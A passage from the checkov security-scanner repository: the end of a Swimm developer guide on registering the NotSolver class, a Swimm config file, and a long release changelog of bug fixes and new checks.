checkov/common/checks_infra/solvers/complex_solvers/not_solver.py\n```python\n⬜ 18                 raise Exception('The \"not\" operator must have exactly one child')\n⬜ 19             return not args[0]\n⬜ 20     \n🟩 21         def get_operation(self, vertex: Dict[str, Any]) -> bool:  # type:ignore[override]\n🟩 22             return not self.solvers[0].get_operation(vertex)\n⬜ 23     \n```\n\n<br/>\n\n## Update additional files with the new class\n\nEvery time we add new `BaseComplexSolver`[<sup id=\"10523X\">↓</sup>](#f-10523X)s, we reference them in a few locations.\n\nWe will still look at `NotSolver`[<sup id=\"Z2wW09R\">↓</sup>](#f-Z2wW09R) as our example.\n\n<br/>\n\n4\\. Update `📄 checkov/common/checks_infra/checks_parser.py`, as we do with `NotSolver`[<sup id=\"Z2wW09R\">↓</sup>](#f-Z2wW09R) here:\n<!-- NOTE-swimm-snippet: the lines below link your snippet to Swimm -->\n### 📄 checkov/common/checks_infra/checks_parser.py\n```python\n⬜ 19         NotEndingWithAttributeSolver,\n⬜ 20         AndSolver,\n⬜ 21         OrSolver,\n🟩 22         NotSolver,\n⬜ 23         ConnectionExistsSolver,\n⬜ 24         ConnectionNotExistsSolver,\n⬜ 25         AndConnectionSolver,\n```\n\n<br/>\n\nIn addition, in the same file:\n<!-- NOTE-swimm-snippet: the lines below link your snippet to Swimm -->\n### 📄 checkov/common/checks_infra/checks_parser.py\n```python\n⬜ 93     operators_to_complex_solver_classes: dict[str, Type[BaseComplexSolver]] = {\n⬜ 94         \"and\": AndSolver,\n⬜ 95         \"or\": OrSolver,\n🟩 96         \"not\": NotSolver,\n⬜ 97     }\n⬜ 98     \n⬜ 99     operator_to_connection_solver_classes: dict[str, Type[BaseConnectionSolver]] = {\n```\n\n<br/>\n\n4\\. We modify `📄 checkov/common/checks_infra/solvers/complex_solvers/__init__.py`, for example:\n<!-- NOTE-swimm-snippet: the lines below link your snippet to Swimm -->\n### 📄 checkov/common/checks_infra/solvers/complex_solvers/__init__.py\n```python\n⬜ 1      from checkov.common.checks_infra.solvers.complex_solvers.or_solver import OrSolver  # noqa\n⬜ 2      from checkov.common.checks_infra.solvers.complex_solvers.and_solver import AndSolver  # noqa\n🟩 3      from checkov.common.checks_infra.solvers.complex_solvers.not_solver import NotSolver  # noqa\n⬜ 4      \n```\n\n<br/>\n\n<!-- THIS IS AN AUTOGENERATED SECTION. DO NOT EDIT THIS SECTION DIRECTLY -->\n### Swimm Note\n\n<span id=\"f-ZDc3b7\">__init__</span>[^](#ZDc3b7) - \"checkov/common/checks_infra/solvers/complex_solvers/not_solver.py\" L11\n```python\n    def __init__(self, solvers: List[BaseSolver], resource_types: List[str]) -> None:\n```\n\n<span id=\"f-Z1IWbj3\">_get_operation</span>[^](#Z1IWbj3) - \"checkov/common/checks_infra/solvers/complex_solvers/not_solver.py\" L16\n```python\n    def _get_operation(self, *args: Any, **kwargs: Any) -> Any:\n```\n\n<span id=\"f-Z7ghIg\">AnyResourceSolver</span>[^](#Z7ghIg) - \"checkov/common/checks_infra/solvers/attribute_solvers/any_attribute_solver.py\" L7\n```python\nclass AnyResourceSolver(BaseAttributeSolver):\n```\n\n<span id=\"f-10523X\">BaseComplexSolver</span>[^](#10523X) - \"checkov/common/checks_infra/solvers/complex_solvers/base_complex_solver.py\" L9\n```python\nclass BaseComplexSolver(BaseSolver):\n```\n\n<span id=\"f-2wxET6\">BaseSolver</span>[^](#2wxET6) - \"checkov/common/graph/checks_infra/solvers/base_solver.py\" L9\n```python\nclass BaseSolver:\n```\n\n<span id=\"f-I3t5K\">get_operation</span>[^](#I3t5K) - \"checkov/common/checks_infra/solvers/complex_solvers/not_solver.py\" L21\n```python\n    def get_operation(self, vertex: Dict[str, Any]) -> bool:  # type:ignore[override]\n```\n\n<span id=\"f-Z136myH\">NotContainsAttributeSolver</span>[^](#Z136myH) - \"checkov/common/checks_infra/solvers/attribute_solvers/not_contains_attribute_solver.py\" L7\n```python\nclass NotContainsAttributeSolver(ContainsAttributeSolver):\n```\n\n<span id=\"f-923Qq\">NotEndingWithAttributeSolver</span>[^](#923Qq) - \"checkov/common/checks_infra/solvers/attribute_solvers/not_ending_with_attribute_solver.py\" L7\n```python\nclass NotEndingWithAttributeSolver(EndingWithAttributeSolver):\n```\n\n<span id=\"f-Z2wW09R\">NotSolver</span>[^](#Z2wW09R) - \"checkov/common/checks_infra/solvers/complex_solvers/not_solver.py\" L8\n```python\nclass NotSolver(BaseComplexSolver):\n```\n\n<span id=\"f-Z1HozjT\">operator</span>[^](#Z1HozjT) - \"checkov/common/checks_infra/solvers/complex_solvers/not_solver.py\" L9\n```python\n    operator = Operators.NOT  # noqa: CCE003  # a static attribute\n```\n\n<span id=\"f-Z1oapTp\">OrConnectionSolver</span>[^](#Z1oapTp) - \"checkov/common/checks_infra/solvers/connections_solvers/or_connection_solver.py\" L11\n```python\nclass OrConnectionSolver(ComplexConnectionSolver):\n```\n\n<br/>\n\nThis file was generated by Swimm. [Click here to view it in the app](https://app.swimm.io/repos/Z2l0aHViJTNBJTNBY2hlY2tvdiUzQSUzQWJyaWRnZWNyZXdpbw==/docs/gm0ti)."
  },
  {
    "path": ".swm/swimm.json",
    "content": "{\n    \"repo_id\": \"Z2l0aHViJTNBJTNBY2hlY2tvdiUzQSUzQWJyaWRnZWNyZXdpbw==\",\n    \"configuration\": {\n        \"swmd\": true\n    }\n}\n"
  },
  {
    "path": "CHANGELOG.md",
    "content": "# CHANGELOG\n\n## [Unreleased](https://github.com/bridgecrewio/checkov/compare/3.2.510...HEAD)\n\n## [3.2.510](https://github.com/bridgecrewio/checkov/compare/3.2.508...3.2.510) - 2026-03-18\n\n### Bug Fix\n\n- **terraform:** support modern TLS security policies in CKV_AWS_206 - [#7466](https://github.com/bridgecrewio/checkov/pull/7466)\n- **terraform:** update CKV_AWS_339 supported EKS Kubernetes versions - [#7465](https://github.com/bridgecrewio/checkov/pull/7465)\n- **terraform:** update CKV_GCP_79 latest Postgres version from 17 to 18 - [#7464](https://github.com/bridgecrewio/checkov/pull/7464)\n\n## [3.2.508](https://github.com/bridgecrewio/checkov/compare/3.2.507...3.2.508) - 2026-03-08\n\n### Bug Fix\n\n- **secrets:** eliminate race condition in secrets scanner when running concurrently with other scanners - [#7456](https://github.com/bridgecrewio/checkov/pull/7456)\n\n## [3.2.507](https://github.com/bridgecrewio/checkov/compare/3.2.506...3.2.507) - 2026-03-05\n\n### Bug Fix\n\n- **secrets:** add _thread_safe_transient_settings( to secret runner - [#7455](https://github.com/bridgecrewio/checkov/pull/7455)\n\n## [3.2.506](https://github.com/bridgecrewio/checkov/compare/3.2.505...3.2.506) - 2026-02-23\n\n### Bug Fix\n\n- **terraform:** return inner module path when dest_dir already exists on Linux - [#7436](https://github.com/bridgecrewio/checkov/pull/7436)\n\n## [3.2.505](https://github.com/bridgecrewio/checkov/compare/3.2.504...3.2.505) - 2026-02-22\n\n### Feature\n\n- **bicep:** revert bump pycep to support better bicep syntax - [#7446](https://github.com/bridgecrewio/checkov/pull/7446)\n\n## [3.2.504](https://github.com/bridgecrewio/checkov/compare/3.2.502...3.2.504) - 2026-02-18\n\n### Feature\n\n- **bicep:** bump pycep to support better bicep syntax - [#7441](https://github.com/bridgecrewio/checkov/pull/7441)\n- **terraform:** deprecate dotnet v6 and support v9 and v10 - [#7442](https://github.com/bridgecrewio/checkov/pull/7442)\n\n## [3.2.502](https://github.com/bridgecrewio/checkov/compare/3.2.501...3.2.502) - 2026-02-16\n\n### Feature\n\n- **general:** better shell commands - [#7438](https://github.com/bridgecrewio/checkov/pull/7438)\n\n## [3.2.501](https://github.com/bridgecrewio/checkov/compare/3.2.500...3.2.501) - 2026-02-11\n\n### Bug Fix\n\n- **general:**  secret detection in build log files with line prefixes - [#7431](https://github.com/bridgecrewio/checkov/pull/7431)\n\n## [3.2.500](https://github.com/bridgecrewio/checkov/compare/3.2.499...3.2.500) - 2026-02-01\n\n### Bug Fix\n\n- **cloudformation:** render variables in cfn vertices config - [#7423](https://github.com/bridgecrewio/checkov/pull/7423)\n\n## [3.2.499](https://github.com/bridgecrewio/checkov/compare/3.2.497...3.2.499) - 2026-01-25\n\n### Feature\n\n- **general:** Add BC_CA_BUNDLE environment variable support for custom CA certificates - [#7419](https://github.com/bridgecrewio/checkov/pull/7419)\n- **secrets:** Override AWS generic check with cortex specific checks - [#7420](https://github.com/bridgecrewio/checkov/pull/7420)\n\n### Bug Fix\n\n- **terraform:** test dates - [#7422](https://github.com/bridgecrewio/checkov/pull/7422)\n\n## [3.2.497](https://github.com/bridgecrewio/checkov/compare/3.2.496...3.2.497) - 2025-12-30\n\n### Bug Fix\n\n- **terraform:** handle file path instead of directory - [#7408](https://github.com/bridgecrewio/checkov/pull/7408)\n\n## [3.2.496](https://github.com/bridgecrewio/checkov/compare/3.2.495...3.2.496) - 2025-12-28\n\n### Bug Fix\n\n- **terraform:** CKV_GCP_6 - Added special handling for MSSQL SERVER database type - [#7405](https://github.com/bridgecrewio/checkov/pull/7405)\n\n## [3.2.495](https://github.com/bridgecrewio/checkov/compare/3.2.494...3.2.495) - 2025-11-23\n\n### Bug Fix\n\n- **kubernetes:** Fix CKV_K8S_21 - [#7378](https://github.com/bridgecrewio/checkov/pull/7378)\n\n## [3.2.494](https://github.com/bridgecrewio/checkov/compare/3.2.493...3.2.494) - 2025-11-18\n\n### Bug Fix\n\n- **general:** Fixed build workflows of integration test by locking helm version - [#7371](https://github.com/bridgecrewio/checkov/pull/7371)\n- **terraform:** Fixed variable rendering of complex variables to avoid changing type - [#7369](https://github.com/bridgecrewio/checkov/pull/7369)\n\n## [3.2.493](https://github.com/bridgecrewio/checkov/compare/3.2.492...3.2.493) - 2025-11-12\n\n### Feature\n\n- **general:** support skips for module for_each and count - [#7368](https://github.com/bridgecrewio/checkov/pull/7368)\n\n## [3.2.492](https://github.com/bridgecrewio/checkov/compare/3.2.491...3.2.492) - 2025-11-10\n\n### Bug Fix\n\n- **terraform:** get_resource_tags handles more cases - [#7365](https://github.com/bridgecrewio/checkov/pull/7365)\n\n## [3.2.491](https://github.com/bridgecrewio/checkov/compare/3.2.490...3.2.491) - 2025-11-09\n\n### Bug Fix\n\n- **terraform:** Graph report tags should be dict - [#7363](https://github.com/bridgecrewio/checkov/pull/7363)\n\n## [3.2.490](https://github.com/bridgecrewio/checkov/compare/3.2.489...3.2.490) - 2025-11-04\n\n### Feature\n\n- **general:** Fix downloading of the external modules when ref is a shortened Git hash - [#7278](https://github.com/bridgecrewio/checkov/pull/7278)\n\n## [3.2.489](https://github.com/bridgecrewio/checkov/compare/3.2.488...3.2.489) - 2025-10-29\n\n### Bug Fix\n\n- **helm:** Check HELM_NAMESPACE env var in CKV_K8S_21  - [#7355](https://github.com/bridgecrewio/checkov/pull/7355)\n\n## [3.2.488](https://github.com/bridgecrewio/checkov/compare/3.2.487...3.2.488) - 2025-10-27\n\n### Feature\n\n- **terraform_plan:** add new cases for foreach in the presence of skips - [#7351](https://github.com/bridgecrewio/checkov/pull/7351)\n\n## [3.2.487](https://github.com/bridgecrewio/checkov/compare/3.2.486...3.2.487) - 2025-10-23\n\n### Bug Fix\n\n- **general:** CKV_AWS_174 should-allow-higher-then-TLSv1.2 - terraform and cloudformation - [#7352](https://github.com/bridgecrewio/checkov/pull/7352)\n\n## [3.2.486](https://github.com/bridgecrewio/checkov/compare/3.2.485...3.2.486) - 2025-10-22\n\n### Feature\n\n- **general:** update setuptools version 78.1.1 - [#7347](https://github.com/bridgecrewio/checkov/pull/7347)\n\n## [3.2.485](https://github.com/bridgecrewio/checkov/compare/3.2.484...3.2.485) - 2025-10-20\n\n### Bug Fix\n\n- **general:** fix urllib3 dependency - [#7345](https://github.com/bridgecrewio/checkov/pull/7345)\n\n## [3.2.484](https://github.com/bridgecrewio/checkov/compare/3.2.483...3.2.484) - 2025-10-15\n\n### Bug Fix\n\n- **terraform_plan:** Correctly handle complex types for after_unknown - [#7333](https://github.com/bridgecrewio/checkov/pull/7333)\n\n## [3.2.483](https://github.com/bridgecrewio/checkov/compare/3.2.479...3.2.483) - 2025-10-12\n\n### Feature\n\n- **general:** anchor setuptools to fix metadata version - [#7330](https://github.com/bridgecrewio/checkov/pull/7330)\n- **general:** update our publishing job SHA to latest - [#7332](https://github.com/bridgecrewio/checkov/pull/7332)\n- **terraform_plan:** fix handling of resource_id for enrichment in tf_plan - [#7329](https://github.com/bridgecrewio/checkov/pull/7329)\n\n## [3.2.479](https://github.com/bridgecrewio/checkov/compare/3.2.477...3.2.479) - 2025-10-09\n\n### Feature\n\n- **general:** upgrade checkov python version 3.9 - [#7326](https://github.com/bridgecrewio/checkov/pull/7326)\n- **general:** upgrade checkvo python version - [#7303](https://github.com/bridgecrewio/checkov/pull/7303)\n- **terraform:** skip raw tf resource violation - [#7325](https://github.com/bridgecrewio/checkov/pull/7325)\n\n### Bug Fix\n\n- **general:** revert pipfile urllib3 change - [#7324](https://github.com/bridgecrewio/checkov/pull/7324)\n\n## [3.2.477](https://github.com/bridgecrewio/checkov/compare/3.2.474...3.2.477) - 2025-10-08\n\n### Bug Fix\n\n- **terraform_plan:** compute the longest common prefix between two optional vertex - [#7320](https://github.com/bridgecrewio/checkov/pull/7320)\n- **terraform_plan:** Don't add values to empty list values in after_unknown - [#7319](https://github.com/bridgecrewio/checkov/pull/7319)\n\n## [3.2.474](https://github.com/bridgecrewio/checkov/compare/3.2.473...3.2.474) - 2025-10-05\n\n### Documentation\n\n- **general:** Add JAVA_FULL_DT environment variable to CLI reference - [#7312](https://github.com/bridgecrewio/checkov/pull/7312)\n\n## [3.2.473](https://github.com/bridgecrewio/checkov/compare/3.2.472...3.2.473) - 2025-09-30\n\n- no noteworthy changes\n\n## [3.2.472](https://github.com/bridgecrewio/checkov/compare/3.2.471...3.2.472) - 2025-09-28\n\n### Feature\n\n- **terraform:** fix foreach module handling - [#7313](https://github.com/bridgecrewio/checkov/pull/7313)\n\n## [3.2.471](https://github.com/bridgecrewio/checkov/compare/3.2.470...3.2.471) - 2025-09-14\n\n### Bug Fix\n\n- **terraform_plan:** fix access to list by str in tf plan under _handle_complex_after_unknown - [#7299](https://github.com/bridgecrewio/checkov/pull/7299)\n\n## [3.2.470](https://github.com/bridgecrewio/checkov/compare/3.2.469...3.2.470) - 2025-09-08\n\n### Bug Fix\n\n- **helm:** Make Helm template detection less aggressive - [#7288](https://github.com/bridgecrewio/checkov/pull/7288)\n\n## [3.2.469](https://github.com/bridgecrewio/checkov/compare/3.2.467...3.2.469) - 2025-09-01\n\n### Feature\n\n- **general:** Control parallelism - [#7286](https://github.com/bridgecrewio/checkov/pull/7286)\n\n## [3.2.467](https://github.com/bridgecrewio/checkov/compare/3.2.466...3.2.467) - 2025-08-27\n\n### Bug Fix\n\n- **serverless:** Fixed bad entity code line generation - [#7285](https://github.com/bridgecrewio/checkov/pull/7285)\n\n## [3.2.466](https://github.com/bridgecrewio/checkov/compare/3.2.464...3.2.466) - 2025-08-25\n\n### Feature\n\n- **terraform:** add aws_vpc_endpoint to RESOURCE_TYPES_JSONIFY - [#7281](https://github.com/bridgecrewio/checkov/pull/7281)\n\n### Bug Fix\n\n- **general:** Add exclusion for plan_with_providers test files in security scanning - [#7282](https://github.com/bridgecrewio/checkov/pull/7282)\n\n## [3.2.464](https://github.com/bridgecrewio/checkov/compare/3.2.461...3.2.464) - 2025-08-20\n\n### Feature\n\n- **secrets:** support suppressions in JSON files - [#7275](https://github.com/bridgecrewio/checkov/pull/7275)\n\n## [3.2.461](https://github.com/bridgecrewio/checkov/compare/3.2.460...3.2.461) - 2025-08-12\n\n### Bug Fix\n\n- **terraform:** Handled git external module loading with sub-directory but without protocol - [#7272](https://github.com/bridgecrewio/checkov/pull/7272)\n\n## [3.2.460](https://github.com/bridgecrewio/checkov/compare/3.2.458...3.2.460) - 2025-08-10\n\n### Bug Fix\n\n- **general:** pin boto3 and botocore versions as failed test in Jenkins - [#7270](https://github.com/bridgecrewio/checkov/pull/7270)\n\n## [3.2.458](https://github.com/bridgecrewio/checkov/compare/3.2.457...3.2.458) - 2025-08-06\n\n### Bug Fix\n\n- **terraform:** Fix conditional expression evaluation - [#7265](https://github.com/bridgecrewio/checkov/pull/7265)\n- **terraform:** Update FunctionAppsAccessibleOverHttps - [#7078](https://github.com/bridgecrewio/checkov/pull/7078)\n\n## [3.2.457](https://github.com/bridgecrewio/checkov/compare/3.2.456...3.2.457) - 2025-07-28\n\n### Bug Fix\n\n- **dockerfile:** Use proxy env vars in aiohttp client requests - [#7260](https://github.com/bridgecrewio/checkov/pull/7260)\n\n## [3.2.456](https://github.com/bridgecrewio/checkov/compare/3.2.454...3.2.456) - 2025-07-27\n\n### Bug Fix\n\n- **terraform:** Parse continue as a string rather as a python object - [#7261](https://github.com/bridgecrewio/checkov/pull/7261)\n\n## [3.2.454](https://github.com/bridgecrewio/checkov/compare/3.2.452...3.2.454) - 2025-07-24\n\n### Bug Fix\n\n- **serverless:** Fixed extraction of code lines for serverless resources - [#7259](https://github.com/bridgecrewio/checkov/pull/7259)\n\n## [3.2.452](https://github.com/bridgecrewio/checkov/compare/3.2.451...3.2.452) - 2025-07-23\n\n### Feature\n\n- **general:** Support Py 3.13 on build workflow - [#7222](https://github.com/bridgecrewio/checkov/pull/7222)\n\n## [3.2.451](https://github.com/bridgecrewio/checkov/compare/3.2.450...3.2.451) - 2025-07-14\n\n### Feature\n\n- **terraform:** Support parsing of provider functions - [#7237](https://github.com/bridgecrewio/checkov/pull/7237)\n\n## [3.2.450](https://github.com/bridgecrewio/checkov/compare/3.2.449...3.2.450) - 2025-07-10\n\n### Bug Fix\n\n- **arm:** filter out failed checks with resource names containing un-rendered functions - [#7231](https://github.com/bridgecrewio/checkov/pull/7231)\n\n## [3.2.449](https://github.com/bridgecrewio/checkov/compare/3.2.447...3.2.449) - 2025-07-09\n\n### Bug Fix\n\n- **terraform:** fix cloning external modules from private regsitries - [#7229](https://github.com/bridgecrewio/checkov/pull/7229)\n- **terraform:** fix issue 7216 module version parsing issue - [#7224](https://github.com/bridgecrewio/checkov/pull/7224)\n\n## [3.2.447](https://github.com/bridgecrewio/checkov/compare/3.2.446...3.2.447) - 2025-06-26\n\n### Bug Fix\n\n- **terraform:** Added support in restricting to a specific GitHub organization for GithubActionsOIDCTrustPolicy - [#7221](https://github.com/bridgecrewio/checkov/pull/7221)\n\n## [3.2.446](https://github.com/bridgecrewio/checkov/compare/3.2.445...3.2.446) - 2025-06-24\n\n### Feature\n\n- **kubernetes:** include hidden folders in scan - [#7219](https://github.com/bridgecrewio/checkov/pull/7219)\n\n## [3.2.445](https://github.com/bridgecrewio/checkov/compare/3.2.443...3.2.445) - 2025-06-22\n\n### Bug Fix\n\n- **helm:** fix file paths to point to original files and not generated ones - [#7212](https://github.com/bridgecrewio/checkov/pull/7212)\n- **secrets:** fix omitting and masking - [#7218](https://github.com/bridgecrewio/checkov/pull/7218)\n\n## [3.2.443](https://github.com/bridgecrewio/checkov/compare/3.2.442...3.2.443) - 2025-06-19\n\n### Bug Fix\n\n- **secrets:** fix omit and masking - [#7213](https://github.com/bridgecrewio/checkov/pull/7213)\n\n## [3.2.442](https://github.com/bridgecrewio/checkov/compare/3.2.440...3.2.442) - 2025-06-15\n\n### Bug Fix\n\n- **secrets:** fix relative path secrets - [#7211](https://github.com/bridgecrewio/checkov/pull/7211)\n\n## [3.2.440](https://github.com/bridgecrewio/checkov/compare/3.2.439...3.2.440) - 2025-06-11\n\n### Feature\n\n- **secrets:** Bump detect secrets - [#7203](https://github.com/bridgecrewio/checkov/pull/7203)\n\n## [3.2.439](https://github.com/bridgecrewio/checkov/compare/3.2.437...3.2.439) - 2025-06-09\n\n### Bug Fix\n\n- **serverless:** Enhance yaml parsing, better support for file expansion - [#7115](https://github.com/bridgecrewio/checkov/pull/7115)\n- **terraform:** Better utilization of managed modules (if enabled) - [#7111](https://github.com/bridgecrewio/checkov/pull/7111)\n\n## [3.2.437](https://github.com/bridgecrewio/checkov/compare/3.2.436...3.2.437) - 2025-06-05\n\n### Bug Fix\n\n- **terraform:** Handle explicitly-specified tfvars explicitly - [#7107](https://github.com/bridgecrewio/checkov/pull/7107)\n\n## [3.2.436](https://github.com/bridgecrewio/checkov/compare/3.2.435...3.2.436) - 2025-05-30\n\n### Bug Fix\n\n- **terraform_plan:** Support count in terraform plan files - [#7195](https://github.com/bridgecrewio/checkov/pull/7195)\n\n## [3.2.435](https://github.com/bridgecrewio/checkov/compare/3.2.433...3.2.435) - 2025-05-27\n\n### Bug Fix\n\n- **kubernetes:** Only filter out files that contain Helm built-in variables and functions  - [#6922](https://github.com/bridgecrewio/checkov/pull/6922)\n- **serverless:** check if start and end line in serverless definitions context - [#7189](https://github.com/bridgecrewio/checkov/pull/7189)\n\n## [3.2.433](https://github.com/bridgecrewio/checkov/compare/3.2.432...3.2.433) - 2025-05-26\n\n### Bug Fix\n\n- **terraform_plan:** add a check to avoid doing get on a none dict object in tfplan scan - [#7180](https://github.com/bridgecrewio/checkov/pull/7180)\n\n## [3.2.432](https://github.com/bridgecrewio/checkov/compare/3.2.429...3.2.432) - 2025-05-22\n\n### Bug Fix\n\n- **terraform:** Multiple fixes - [#7178](https://github.com/bridgecrewio/checkov/pull/7178)\n\n## [3.2.429](https://github.com/bridgecrewio/checkov/compare/3.2.427...3.2.429) - 2025-05-21\n\n### Bug Fix\n\n- **general:** Fix support for git external module syntax 'git::git@' - [#7175](https://github.com/bridgecrewio/checkov/pull/7175)\n- **general:** Remove asteval syntax error logs - [#7172](https://github.com/bridgecrewio/checkov/pull/7172)\n\n## [3.2.427](https://github.com/bridgecrewio/checkov/compare/3.2.426...3.2.427) - 2025-05-20\n\n### Feature\n\n- **secrets:** Revert - Bump detect secrets - [#7171](https://github.com/bridgecrewio/checkov/pull/7171)\n\n### Bug Fix\n\n- **terraform:** dont move clone to internal dir - [#7159](https://github.com/bridgecrewio/checkov/pull/7159)\n\n## [3.2.426](https://github.com/bridgecrewio/checkov/compare/3.2.424...3.2.426) - 2025-05-19\n\n### Feature\n\n- **secrets:** Bump detect secrets - [#7158](https://github.com/bridgecrewio/checkov/pull/7158)\n- **terraform:** 7 new policies - [#7056](https://github.com/bridgecrewio/checkov/pull/7056)\n\n## [3.2.424](https://github.com/bridgecrewio/checkov/compare/3.2.422...3.2.424) - 2025-05-15\n\n### Feature\n\n- **terraform:** Add SNS check and modify some - [#7154](https://github.com/bridgecrewio/checkov/pull/7154)\n\n### Bug Fix\n\n- **secrets:** Fix for git-history scan by commits - [#7160](https://github.com/bridgecrewio/checkov/pull/7160)\n\n## [3.2.422](https://github.com/bridgecrewio/checkov/compare/3.2.420...3.2.422) - 2025-05-14\n\n### Feature\n\n- **secrets:** git-history allow scan by commits list - [#7155](https://github.com/bridgecrewio/checkov/pull/7155)\n\n### Bug Fix\n\n- **general:** exclude **start_line** and **end_line** from is empty solver - [#7156](https://github.com/bridgecrewio/checkov/pull/7156)\n\n## [3.2.420](https://github.com/bridgecrewio/checkov/compare/3.2.417...3.2.420) - 2025-05-13\n\n### Feature\n\n- **kustomize:** export get kustomize resource id to a function - [#7153](https://github.com/bridgecrewio/checkov/pull/7153)\n\n### Bug Fix\n\n- **general:** Skip bc_api_key in output - [#7148](https://github.com/bridgecrewio/checkov/pull/7148)\n- **terraform:** Fixed crash when using variable rendering inside a list of len > 1 - [#7151](https://github.com/bridgecrewio/checkov/pull/7151)\n\n## [3.2.417](https://github.com/bridgecrewio/checkov/compare/3.2.416...3.2.417) - 2025-05-12\n\n### Breaking Change\n\n- **general:** Remove OpenAI - [#7146](https://github.com/bridgecrewio/checkov/pull/7146)\n\n## [3.2.416](https://github.com/bridgecrewio/checkov/compare/3.2.415...3.2.416) - 2025-05-06\n\n### Bug Fix\n\n- **terraform_plan:** use provider name not resource address to fix supported_provider matching - [#7119](https://github.com/bridgecrewio/checkov/pull/7119)\n\n## [3.2.415](https://github.com/bridgecrewio/checkov/compare/3.2.414...3.2.415) - 2025-05-05\n\n### Bug Fix\n\n- **general:** using asteval instead of using eval - [#7116](https://github.com/bridgecrewio/checkov/pull/7116)\n\n## [3.2.414](https://github.com/bridgecrewio/checkov/compare/3.2.413...3.2.414) - 2025-05-01\n\n### Bug Fix\n\n- **terraform:** Fix protocols for CKV2_AWS_74 and fix for CKV2_K8S_5 - [#7134](https://github.com/bridgecrewio/checkov/pull/7134)\n\n## [3.2.413](https://github.com/bridgecrewio/checkov/compare/3.2.411...3.2.413) - 2025-04-29\n\n### Feature\n\n- **terraform:** Add new check for overly permissive SQS policy - [#7125](https://github.com/bridgecrewio/checkov/pull/7125)\n\n### Bug Fix\n\n- **terraform:** support CLI notation in CKV_AZURE_228 for EventHub locations - [#7124](https://github.com/bridgecrewio/checkov/pull/7124)\n\n## [3.2.411](https://github.com/bridgecrewio/checkov/compare/3.2.408...3.2.411) - 2025-04-28\n\n### Feature\n\n- **secrets:** Add support in git history for producer consumer - [#7123](https://github.com/bridgecrewio/checkov/pull/7123)\n\n### Bug Fix\n\n- **general:** Make --download-external-modules Optional[bool] - [#7121](https://github.com/bridgecrewio/checkov/pull/7121)\n- **secrets:** Fix test directory tree race - [#7122](https://github.com/bridgecrewio/checkov/pull/7122)\n- **terraform:** add aws_elasticache_serverless_cache to CKV2_AWS_5 - [#7079](https://github.com/bridgecrewio/checkov/pull/7079)\n\n## [3.2.408](https://github.com/bridgecrewio/checkov/compare/3.2.407...3.2.408) - 2025-04-24\n\n### Feature\n\n- **terraform:** Over permissive Lambda Cors check (Terraform & Cloudformation) - [#7113](https://github.com/bridgecrewio/checkov/pull/7113)\n\n### Bug Fix\n\n- **general:** base_runner: Properly escape excluded directories that begin with '.' - [#7112](https://github.com/bridgecrewio/checkov/pull/7112)\n\n## [3.2.407](https://github.com/bridgecrewio/checkov/compare/3.2.406...3.2.407) - 2025-04-21\n\n### Feature\n\n- **terraform:** Add new check and update old around cipher suites - [#7108](https://github.com/bridgecrewio/checkov/pull/7108)\n\n## [3.2.406](https://github.com/bridgecrewio/checkov/compare/3.2.404...3.2.406) - 2025-04-17\n\n### Bug Fix\n\n- **kustomize:** handle kustomize file with empty resources section - [#7109](https://github.com/bridgecrewio/checkov/pull/7109)\n\n## [3.2.404](https://github.com/bridgecrewio/checkov/compare/3.2.403...3.2.404) - 2025-04-14\n\n### Bug Fix\n\n- **terraform:** Fix for multiple checks - [#7097](https://github.com/bridgecrewio/checkov/pull/7097)\n\n## [3.2.403](https://github.com/bridgecrewio/checkov/compare/3.2.402...3.2.403) - 2025-04-10\n\n### Feature\n\n- **cloudformation:** Update Lambda Runtime checks - [#7065](https://github.com/bridgecrewio/checkov/pull/7065)\n\n## [3.2.402](https://github.com/bridgecrewio/checkov/compare/3.2.400...3.2.402) - 2025-04-08\n\n### Bug Fix\n\n- **terraform:** Change to valid name - [#7089](https://github.com/bridgecrewio/checkov/pull/7089)\n- **terraform:** CKV2_IBM_1 - ignore case for load balancer of type private_path - [#7010](https://github.com/bridgecrewio/checkov/pull/7010)\n- **terraform:** rename test FunctionAppsAccessibleOverHttps  - [#7085](https://github.com/bridgecrewio/checkov/pull/7085)\n\n### Documentation\n\n- **general:** Add install for debian - [#7083](https://github.com/bridgecrewio/checkov/pull/7083)\n\n## [3.2.400](https://github.com/bridgecrewio/checkov/compare/3.2.398...3.2.400) - 2025-04-07\n\n### Bug Fix\n\n- **general:** typos discovered by codespell - [#7012](https://github.com/bridgecrewio/checkov/pull/7012)\n- **terraform:** Update FunctionAppsAccessibleOverHttps - [#7084](https://github.com/bridgecrewio/checkov/pull/7084)\n\n## [3.2.398](https://github.com/bridgecrewio/checkov/compare/3.2.397...3.2.398) - 2025-04-06\n\n### Bug Fix\n\n- **general:** handle connected_node tuple in CustomJSONEncoder for json report (#7062) - [#7063](https://github.com/bridgecrewio/checkov/pull/7063)\n\n## [3.2.397](https://github.com/bridgecrewio/checkov/compare/3.2.396...3.2.397) - 2025-04-04\n\n- no noteworthy changes\n\n## [3.2.396](https://github.com/bridgecrewio/checkov/compare/3.2.395...3.2.396) - 2025-04-01\n\n### Bug Fix\n\n- **terraform:** Fix keeping range a range - [#7073](https://github.com/bridgecrewio/checkov/pull/7073)\n\n## [3.2.395](https://github.com/bridgecrewio/checkov/compare/3.2.394...3.2.395) - 2025-03-31\n\n### Feature\n\n- **serverless:** add check for empty resource attributes - [#7074](https://github.com/bridgecrewio/checkov/pull/7074)\n\n## [3.2.394](https://github.com/bridgecrewio/checkov/compare/3.2.393...3.2.394) - 2025-03-27\n\n### Bug Fix\n\n- **terraform:** Fix CKV2_GCP_12 and a few tests - [#7069](https://github.com/bridgecrewio/checkov/pull/7069)\n\n## [3.2.393](https://github.com/bridgecrewio/checkov/compare/3.2.392...3.2.393) - 2025-03-26\n\n### Bug Fix\n\n- **general:** Updated correct connected_node when creating graph report out of all options  - [#7068](https://github.com/bridgecrewio/checkov/pull/7068)\n\n## [3.2.392](https://github.com/bridgecrewio/checkov/compare/3.2.391...3.2.392) - 2025-03-24\n\n### Bug Fix\n\n- **terraform_plan:** Run provider checks against all providers in plan - [#7061](https://github.com/bridgecrewio/checkov/pull/7061)\n\n## [3.2.391](https://github.com/bridgecrewio/checkov/compare/3.2.390...3.2.391) - 2025-03-23\n\n### Bug Fix\n\n- **secrets:** Bump detect-secrets to not flag AZ secrets in plan files - [#7064](https://github.com/bridgecrewio/checkov/pull/7064)\n\n## [3.2.390](https://github.com/bridgecrewio/checkov/compare/3.2.386...3.2.390) - 2025-03-19\n\n### Feature\n\n- **terraform:** add raw tf resource to graph - [#7047](https://github.com/bridgecrewio/checkov/pull/7047)\n\n### Bug Fix\n\n- **general:** Fix a few checks - 